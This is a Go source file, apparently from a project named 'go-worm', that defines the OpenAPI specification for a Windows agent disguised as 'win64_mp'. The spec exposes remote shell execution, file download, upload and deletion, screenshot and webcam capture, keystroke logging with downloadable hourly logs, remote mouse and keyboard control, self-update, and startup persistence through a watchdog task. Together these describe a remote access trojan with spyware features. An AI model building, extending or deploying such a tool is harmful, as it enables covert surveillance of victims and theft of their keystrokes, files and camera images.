- Add settings API and UI to toggle keylog - Persist preference in settings.json - Expose klogging state in status endpoint - Inject build version into web console - Bump version automatically on build
546 lines
21 KiB
Go
546 lines
21 KiB
Go
package openapi
|
|
|
|
import "tea.chunkbyte.com/kato/go-worm/lib/config"
|
|
|
|
func Spec() map[string]any {
|
|
ref := func(name string) map[string]string {
|
|
return map[string]string{"$ref": "#/components/schemas/" + name}
|
|
}
|
|
jsonBody := func(schema map[string]string) map[string]any {
|
|
return map[string]any{
|
|
"required": true,
|
|
"content": map[string]any{
|
|
"application/json": map[string]any{"schema": schema},
|
|
},
|
|
}
|
|
}
|
|
errResp := func(desc string) map[string]any {
|
|
return map[string]any{"description": desc, "content": map[string]any{
|
|
"application/json": map[string]any{"schema": ref("Error")},
|
|
}}
|
|
}
|
|
okJSON := func(desc string, schema map[string]string) map[string]any {
|
|
return map[string]any{"description": desc, "content": map[string]any{
|
|
"application/json": map[string]any{"schema": schema},
|
|
}}
|
|
}
|
|
auth := func(responses map[string]any) map[string]any {
|
|
responses["401"] = errResp("Unauthorized")
|
|
return responses
|
|
}
|
|
|
|
return map[string]any{
|
|
"openapi": "3.0.3",
|
|
"info": map[string]any{
|
|
"title": "win64_mp",
|
|
"description": "HTTP API for win64_mp. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access. HTTP Basic auth required (except /openapi).",
|
|
"version": config.Version,
|
|
},
|
|
"servers": []map[string]any{
|
|
{"url": "http://127.0.0.1:5032", "description": "Default listen address (override host/port as needed)"},
|
|
},
|
|
"security": []map[string]any{{"basicAuth": []string{}}},
|
|
"paths": map[string]any{
|
|
"/health": map[string]any{
|
|
"get": map[string]any{
|
|
"summary": "Health check",
|
|
"operationId": "health",
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Agent is running", ref("Health")),
|
|
}),
|
|
},
|
|
},
|
|
"/healthz": map[string]any{
|
|
"get": map[string]any{
|
|
"summary": "Health check alias",
|
|
"operationId": "healthz",
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Agent is running", ref("Health")),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/status": map[string]any{
|
|
"get": map[string]any{
|
|
"summary": "Agent status",
|
|
"operationId": "getStatus",
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Host and agent metadata", ref("Status")),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/files": map[string]any{
|
|
"get": map[string]any{
|
|
"summary": "List directory entries",
|
|
"operationId": "listFiles",
|
|
"parameters": []map[string]any{
|
|
{"name": "path", "in": "query", "schema": map[string]string{"type": "string"}, "description": "Directory path; defaults to the current user's home directory"},
|
|
{"name": "depth", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Recursion depth (0 = immediate children only)"},
|
|
},
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Directory listing", ref("FileList")),
|
|
"400": errResp("Invalid path or depth"),
|
|
"403": errResp("Path outside allowed root"),
|
|
"404": errResp("Path not found"),
|
|
}),
|
|
},
|
|
"delete": map[string]any{
|
|
"summary": "Delete a file or directory",
|
|
"operationId": "deleteFile",
|
|
"parameters": []map[string]any{
|
|
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
|
|
},
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Deleted", ref("OkPath")),
|
|
"400": errResp("Invalid path"),
|
|
"403": errResp("Path outside allowed root"),
|
|
"404": errResp("Path not found"),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/files/zip": map[string]any{
|
|
"get": map[string]any{
|
|
"summary": "Download a directory as a zip archive",
|
|
"operationId": "zipFolder",
|
|
"description": "Zips the directory into a temporary file and streams it as an attachment.",
|
|
"parameters": []map[string]any{
|
|
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}, "description": "Absolute path to the directory"},
|
|
},
|
|
"responses": auth(map[string]any{
|
|
"200": map[string]any{"description": "Zip archive", "content": map[string]any{"application/zip": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}}},
|
|
"400": errResp("Invalid path or not a directory"),
|
|
"403": errResp("Path outside allowed root"),
|
|
"404": errResp("Path not found"),
|
|
"413": errResp("Archive exceeds size limit"),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/download": map[string]any{
|
|
"get": map[string]any{
|
|
"summary": "Download a file",
|
|
"operationId": "downloadFile",
|
|
"parameters": []map[string]any{
|
|
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
|
|
},
|
|
"responses": auth(map[string]any{
|
|
"200": map[string]any{"description": "File bytes", "content": map[string]any{"application/octet-stream": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}}},
|
|
"400": errResp("Invalid path or directory"),
|
|
"403": errResp("Path outside allowed root"),
|
|
"404": errResp("File not found"),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/upload": map[string]any{
|
|
"post": map[string]any{
|
|
"summary": "Upload a file",
|
|
"operationId": "uploadFile",
|
|
"requestBody": map[string]any{
|
|
"required": true,
|
|
"content": map[string]any{
|
|
"multipart/form-data": map[string]any{
|
|
"schema": map[string]any{
|
|
"type": "object",
|
|
"required": []string{"path", "file"},
|
|
"properties": map[string]any{
|
|
"path": map[string]string{"type": "string", "description": "Destination directory"},
|
|
"file": map[string]string{"type": "string", "format": "binary"},
|
|
},
|
|
},
|
|
},
|
|
},
|
|
},
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Uploaded", ref("UploadResult")),
|
|
"400": errResp("Invalid path or body"),
|
|
"403": errResp("Path outside allowed root"),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/screenshot": map[string]any{
|
|
"get": map[string]any{
|
|
"summary": "Capture a monitor",
|
|
"operationId": "screenshot",
|
|
"parameters": []map[string]any{
|
|
{"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "png"}},
|
|
{"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"},
|
|
{"name": "monitor", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}},
|
|
},
|
|
"responses": auth(map[string]any{
|
|
"200": map[string]any{
|
|
"description": "Screenshot image",
|
|
"headers": map[string]any{
|
|
"X-Monitor-Left": map[string]any{"schema": map[string]string{"type": "integer"}},
|
|
"X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}},
|
|
"X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
|
|
"X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
|
|
},
|
|
"content": map[string]any{
|
|
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
|
|
"image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
|
|
},
|
|
},
|
|
"400": errResp("Invalid parameters"),
|
|
"503": errResp("No interactive desktop available"),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/webcam": map[string]any{
|
|
"get": map[string]any{
|
|
"summary": "List webcams",
|
|
"operationId": "listWebcams",
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Connected capture devices", ref("WebcamList")),
|
|
"503": errResp("Webcam enumeration failed"),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/webcam/frame": map[string]any{
|
|
"get": map[string]any{
|
|
"summary": "Capture a webcam frame",
|
|
"operationId": "webcamFrame",
|
|
"parameters": []map[string]any{
|
|
{"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Device index from /api/v1/webcam"},
|
|
{"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "jpeg"}},
|
|
{"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"},
|
|
},
|
|
"responses": auth(map[string]any{
|
|
"200": map[string]any{
|
|
"description": "Webcam frame",
|
|
"headers": map[string]any{
|
|
"X-Webcam-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
|
|
"X-Webcam-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
|
|
},
|
|
"content": map[string]any{
|
|
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
|
|
"image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
|
|
},
|
|
},
|
|
"400": errResp("Invalid parameters or device"),
|
|
"503": errResp("Webcam capture failed"),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/exec": map[string]any{
|
|
"post": map[string]any{
|
|
"summary": "Run a shell command",
|
|
"operationId": "exec",
|
|
"requestBody": jsonBody(ref("ExecRequest")),
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Command finished", ref("ExecResponse")),
|
|
"400": errResp("Invalid command or timeout"),
|
|
"504": errResp("Command timed out"),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/startup": map[string]any{
|
|
"post": map[string]any{
|
|
"summary": "Add agent to Windows startup and a 5-minute watchdog task",
|
|
"operationId": "enableStartup",
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Startup state", ref("StartupState")),
|
|
}),
|
|
},
|
|
"delete": map[string]any{
|
|
"summary": "Remove agent from Windows startup and the watchdog task",
|
|
"operationId": "disableStartup",
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Startup state", ref("StartupState")),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/settings": map[string]any{
|
|
"get": map[string]any{
|
|
"summary": "Read agent settings",
|
|
"operationId": "getSettings",
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Current settings", ref("Settings")),
|
|
}),
|
|
},
|
|
"put": map[string]any{
|
|
"summary": "Update agent settings",
|
|
"operationId": "updateSettings",
|
|
"description": "Persist klogging on/off. Disabling unhooks the keyboard hook immediately.",
|
|
"requestBody": jsonBody(ref("SettingsUpdate")),
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Updated settings", ref("Settings")),
|
|
"400": errResp("Invalid body"),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/update": map[string]any{
|
|
"post": map[string]any{
|
|
"summary": "Deploy uploaded agent executable on alternate port",
|
|
"operationId": "deployUpdate",
|
|
"description": "Upload a .exe and launch it on port 5033 when this instance uses 5032, or vice versa. The current instance is left running.",
|
|
"requestBody": map[string]any{
|
|
"required": true,
|
|
"content": map[string]any{
|
|
"multipart/form-data": map[string]any{
|
|
"schema": map[string]any{
|
|
"type": "object",
|
|
"required": []string{"file"},
|
|
"properties": map[string]any{
|
|
"file": map[string]string{"type": "string", "format": "binary", "description": "Windows amd64 executable"},
|
|
},
|
|
},
|
|
},
|
|
},
|
|
},
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Update launched", ref("UpdateResult")),
|
|
"400": errResp("Invalid file or executable"),
|
|
"409": errResp("Alternate port already in use"),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/input/click": map[string]any{
|
|
"post": map[string]any{
|
|
"summary": "Click the desktop",
|
|
"operationId": "click",
|
|
"requestBody": jsonBody(ref("ClickRequest")),
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Clicked", ref("ClickResult")),
|
|
"400": errResp("Invalid coordinates or button"),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/input/key": map[string]any{
|
|
"post": map[string]any{
|
|
"summary": "Send a key press",
|
|
"operationId": "sendKey",
|
|
"requestBody": jsonBody(ref("KeyRequest")),
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Key sent", ref("KeyResult")),
|
|
"400": errResp("Invalid key or action"),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/input/text": map[string]any{
|
|
"post": map[string]any{
|
|
"summary": "Type text into the focused field",
|
|
"operationId": "typeText",
|
|
"requestBody": jsonBody(ref("TextRequest")),
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Text typed", ref("TextResult")),
|
|
"400": errResp("Invalid or empty text"),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/keylog": map[string]any{
|
|
"get": map[string]any{
|
|
"summary": "List keystroke log files",
|
|
"operationId": "listKeylogs",
|
|
"responses": auth(map[string]any{
|
|
"200": okJSON("Keystroke log index", ref("KeylogList")),
|
|
}),
|
|
},
|
|
},
|
|
"/api/v1/keylog/download": map[string]any{
|
|
"get": map[string]any{
|
|
"summary": "Download a keystroke log file",
|
|
"operationId": "downloadKeylog",
|
|
"parameters": []map[string]any{
|
|
{"name": "file", "in": "query", "required": true, "schema": map[string]string{"type": "string"}, "description": "Hourly log filename, e.g. 2026-08-28-13.log"},
|
|
},
|
|
"responses": auth(map[string]any{
|
|
"200": map[string]any{"description": "Plain-text keystroke transcript", "content": map[string]any{
|
|
"text/plain": map[string]any{"schema": map[string]string{"type": "string"}},
|
|
}},
|
|
"400": errResp("Invalid filename"),
|
|
"404": errResp("Log file not found"),
|
|
}),
|
|
},
|
|
},
|
|
},
|
|
"components": map[string]any{
|
|
"securitySchemes": map[string]any{
|
|
"basicAuth": map[string]any{"type": "http", "scheme": "basic"},
|
|
},
|
|
"schemas": map[string]any{
|
|
"Error": map[string]any{
|
|
"type": "object", "required": []string{"error"},
|
|
"properties": map[string]any{"error": map[string]string{"type": "string"}},
|
|
},
|
|
"Health": map[string]any{
|
|
"type": "object", "required": []string{"status"},
|
|
"properties": map[string]any{"status": map[string]string{"type": "string", "example": "ok"}},
|
|
},
|
|
"Status": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"os": map[string]string{"type": "string"},
|
|
"architecture": map[string]string{"type": "string"},
|
|
"user": map[string]string{"type": "string"},
|
|
"hostname": map[string]string{"type": "string"},
|
|
"uptime_seconds": map[string]any{"type": "integer", "format": "int64"},
|
|
"local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}},
|
|
"agent_version": map[string]string{"type": "string"},
|
|
"listen_address": map[string]string{"type": "string"},
|
|
"startup_enabled": map[string]any{"type": "boolean"},
|
|
"klogging": map[string]any{"type": "boolean"},
|
|
},
|
|
},
|
|
"FileItem": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"name": map[string]string{"type": "string"},
|
|
"path": map[string]string{"type": "string"},
|
|
"type": map[string]any{"type": "string", "enum": []string{"file", "dir"}},
|
|
"size": map[string]any{"type": "integer", "format": "int64"},
|
|
"modified_time": map[string]string{"type": "string", "format": "date-time"},
|
|
},
|
|
},
|
|
"FileList": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"path": map[string]string{"type": "string"},
|
|
"depth": map[string]any{"type": "integer"},
|
|
"entries": map[string]any{"type": "array", "items": ref("FileItem")},
|
|
},
|
|
},
|
|
"OkPath": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"ok": map[string]any{"type": "boolean"},
|
|
"path": map[string]string{"type": "string"},
|
|
},
|
|
},
|
|
"UploadResult": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"ok": map[string]any{"type": "boolean"},
|
|
"path": map[string]string{"type": "string"},
|
|
"size": map[string]any{"type": "integer", "format": "int64"},
|
|
"name": map[string]string{"type": "string"},
|
|
},
|
|
},
|
|
"UpdateResult": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"ok": map[string]any{"type": "boolean"},
|
|
"path": map[string]string{"type": "string"},
|
|
"listen_address": map[string]string{"type": "string"},
|
|
"previous_listen_address": map[string]string{"type": "string"},
|
|
},
|
|
},
|
|
"ExecRequest": map[string]any{
|
|
"type": "object", "required": []string{"command"},
|
|
"properties": map[string]any{
|
|
"command": map[string]string{"type": "string", "example": "ipconfig /all"},
|
|
"timeout_sec": map[string]any{"type": "integer", "minimum": 0, "maximum": 120, "default": 30},
|
|
},
|
|
},
|
|
"ExecResponse": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"exit_code": map[string]any{"type": "integer"},
|
|
"stdout": map[string]string{"type": "string"},
|
|
"stderr": map[string]string{"type": "string"},
|
|
},
|
|
},
|
|
"StartupState": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}},
|
|
},
|
|
"Settings": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"klogging": map[string]any{"type": "boolean"},
|
|
"klogging_running": map[string]any{"type": "boolean"},
|
|
},
|
|
},
|
|
"SettingsUpdate": map[string]any{
|
|
"type": "object",
|
|
"required": []string{"klogging"},
|
|
"properties": map[string]any{
|
|
"klogging": map[string]any{"type": "boolean"},
|
|
},
|
|
},
|
|
"ClickRequest": map[string]any{
|
|
"type": "object", "required": []string{"x", "y", "button"},
|
|
"properties": map[string]any{
|
|
"x": map[string]any{"type": "integer", "description": "Absolute screen X coordinate"},
|
|
"y": map[string]any{"type": "integer", "description": "Absolute screen Y coordinate"},
|
|
"button": map[string]any{"type": "string", "enum": []string{"left", "right", "middle"}},
|
|
"monitor": map[string]any{"type": "integer", "minimum": 0, "default": 0},
|
|
},
|
|
},
|
|
"ClickResult": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"ok": map[string]any{"type": "boolean"},
|
|
"x": map[string]any{"type": "integer"},
|
|
"y": map[string]any{"type": "integer"},
|
|
},
|
|
},
|
|
"KeyRequest": map[string]any{
|
|
"type": "object", "required": []string{"key"},
|
|
"properties": map[string]any{
|
|
"key": map[string]string{"type": "string", "example": "a", "description": "Key name: letter, digit, enter, f1, etc."},
|
|
"action": map[string]any{
|
|
"type": "string", "enum": []string{"tap", "down", "up"}, "default": "tap",
|
|
},
|
|
"modifiers": map[string]any{
|
|
"type": "array",
|
|
"items": map[string]any{
|
|
"type": "string", "enum": []string{"ctrl", "alt", "shift", "win"},
|
|
},
|
|
},
|
|
},
|
|
},
|
|
"KeyResult": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"ok": map[string]any{"type": "boolean"},
|
|
"key": map[string]string{"type": "string"},
|
|
"action": map[string]string{"type": "string"},
|
|
},
|
|
},
|
|
"TextRequest": map[string]any{
|
|
"type": "object", "required": []string{"text"},
|
|
"properties": map[string]any{
|
|
"text": map[string]any{"type": "string", "maxLength": 4096},
|
|
"delay_ms": map[string]any{"type": "integer", "minimum": 0, "maximum": 200},
|
|
},
|
|
},
|
|
"TextResult": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"ok": map[string]any{"type": "boolean"},
|
|
"length": map[string]any{"type": "integer"},
|
|
"delay_ms": map[string]any{"type": "integer"},
|
|
},
|
|
},
|
|
"KeylogFile": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"name": map[string]string{"type": "string"},
|
|
"size": map[string]any{"type": "integer", "format": "int64"},
|
|
"modified_time": map[string]string{"type": "string", "format": "date-time"},
|
|
},
|
|
},
|
|
"KeylogList": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"directory": map[string]string{"type": "string"},
|
|
"files": map[string]any{"type": "array", "items": ref("KeylogFile")},
|
|
},
|
|
},
|
|
"WebcamDevice": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"index": map[string]any{"type": "integer"},
|
|
"name": map[string]string{"type": "string"},
|
|
"version": map[string]string{"type": "string"},
|
|
},
|
|
},
|
|
"WebcamList": map[string]any{
|
|
"type": "object",
|
|
"properties": map[string]any{
|
|
"devices": map[string]any{"type": "array", "items": ref("WebcamDevice")},
|
|
},
|
|
},
|
|
},
|
|
},
|
|
}
|
|
}
|